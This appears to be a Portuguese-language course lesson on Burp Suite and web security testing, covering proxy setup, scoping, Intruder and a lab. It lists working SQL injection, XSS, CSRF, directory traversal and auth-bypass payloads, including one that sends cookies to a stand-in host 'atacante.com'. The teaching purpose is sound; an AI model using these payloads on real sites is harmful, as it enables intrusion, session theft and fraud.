Burp Suite e Testes Web
Aula 4 de 7
Burp Suite — Visão Geral
Ferramentas Principais
| Ferramenta | Função | Aba |
|---|---|---|
| Proxy | Interceptar e modificar tráfego HTTP/HTTPS | Proxy → Intercept |
| Target | Gerenciar escopo, sitemap, issue definitions | Target |
| Repeater | Reenviar requisições modificadas manualmente | Repeater |
| Intruder | Ataques automatizados (brute force, fuzzing) | Intruder |
| Scanner | Varredura automatizada de vulnerabilidades | Scanner |
| Decoder | Codificar/decodificar dados (Base64, URL, Hex) | Decoder |
| Comparer | Comparar respostas HTTP | Comparer |
| Extensions | Extensões BApp (App Store do Burp) | Extender |
Intercepting Proxy
Navegador (127.0.0.1:8080) ←→ Burp Proxy ←→ Servidor Web
Certificado SSL
Para interceptar HTTPS, instale o certificado CA do Burp no navegador:
1. Navegue para http://burp
2. Baixe "cacert.der"
3. Instale como Autoridade Certificadora Confiável
- Windows: Certificados → Autoridades de Certificação Raiz Confiáveis
- Firefox: Configurações → Certificados → Importar
Configuração de Escopo
Target → Scope:
- Include: *.exemplo.com (apenas alvo)
- Exclude: *.google-analytics.com, *.facebook.net (ignorar terceiros)
- Use advanced scope control para URLs específicas
Match and Replace
# Modificação automática de headers/body
# Proxy → Options → Match and Replace
# Exemplos:
# Match: User-Agent: Mozilla/5.0*
# Replace: User-Agent: CustomScript/1.0
# Match: ^
# Replace: X-Forwarded-For: 127.0.0.1
Testes Web Práticos
SQL Injection
# Testes manuais no Repeater
# Campo: username
# Payload: admin' OR 1=1 --
# Payload: " OR 1=1 --
# Payload: admin' UNION SELECT null,null,null --
# SQLi baseado em erro
# Payload: ' AND 1=CONVERT(int, @@version) --
# SQLi blind (boolean)
# Payload: ' AND 1=1 -- (deve retornar verdadeiro)
# Payload: ' AND 1=2 -- (deve retornar falso)
# SQLi blind (time-based)
# Payload: ' WAITFOR DELAY '0:0:5' --
XSS (Cross-Site Scripting)
# Reflected XSS
# Input: <script>alert('XSS')</script>
# Payload: <img src=x onerror=alert(1)>
# Payload: <svg onload=alert(document.cookie)>
# Stored XSS (comentários, perfil, posts)
# Payload: <script>document.location='http://atacante.com/steal?c='+document.cookie</script>
# Payloads para bypass de filters
# <ScRiPt>alert(1)</ScRiPt>
# <<script>script>alert(1)</script>
# "><script>alert(1)</script>
CSRF (Cross-Site Request Forgery)
# Testar se requisições sensíveis têm token CSRF
# Verificar header Referer/Origin
# Testar com Origin diferente
# Payload (POC):
# <form action="https://exemplo.com/transfer" method="POST">
# <input name="amount" value="1000">
# <input name="to" value="atacante">
# </form>
# <script>document.forms[0].submit()</script>
Auth Bypass
# Directory traversal
# ../../etc/passwd
# ..%252f..%252f..%252fetc/passwd (duplo encode)
# Bypass de autenticação
# admin' --
# admin'#
# ' OR '1'='1' --
# admin:admin
# Manipulação de parâmetros
# GET /api/users/me → 401
# GET /api/users/1 → 200 (IDOR)
# X-Original-URL: /admin
# X-Forwarded-For: 127.0.0.1
Burp Intruder
# Posições de ataque
# § = marcador de posição
# Sniper: uma wordlist, testa cada posição
# Battering ram: mesma wordlist em todas posições
# Pitchfork: múltiplas wordlists (pareadas)
# Cluster bomb: múltiplas wordlists (todas combinações)
# Payload types: Simple list, Numbers, Brute force, Case mod
# Grep - Match: marcar respostas com "error", "exception", "welcome"
Burp Macros e Session Handling
Macros permitem automatizar sequências de requisições:
- Login automático antes de cada teste
- Renovação de token CSRF
- Manter sessão ativa durante scan
Configuração:
Project Options → Sessions → Session Handling Rules
→ Add → Run a Macro → Record macro
Lab: Teste de Aplicação Web
# 1. Configurar proxy Burp (127.0.0.1:8080)
# Navegador → Configurações → Proxy → Manual: localhost:8080
# 2. Instalar certificado CA do Burp
# http://burp → Download cacert.der → Importar
# 3. Navegar no alvo e explorar o Target → Sitemap
# 4. Enviar requisição para Intruder
# Botão direito → Send to Intruder
# Configurar payload positions e payload list
# 5. Testar SQLi manual no Repeater
# Botão direito → Send to Repeater
# Modificar parâmetros → Send
# 6. Usar Decoder para ofuscar payloads
# Payload → Base64 → URL encode
Burp Suite é a ferramenta padrão para testes de segurança web. Domine Proxy, Repeater e Intruder. Sempre trabalhe com escopo definido para evitar tráfego indesejado.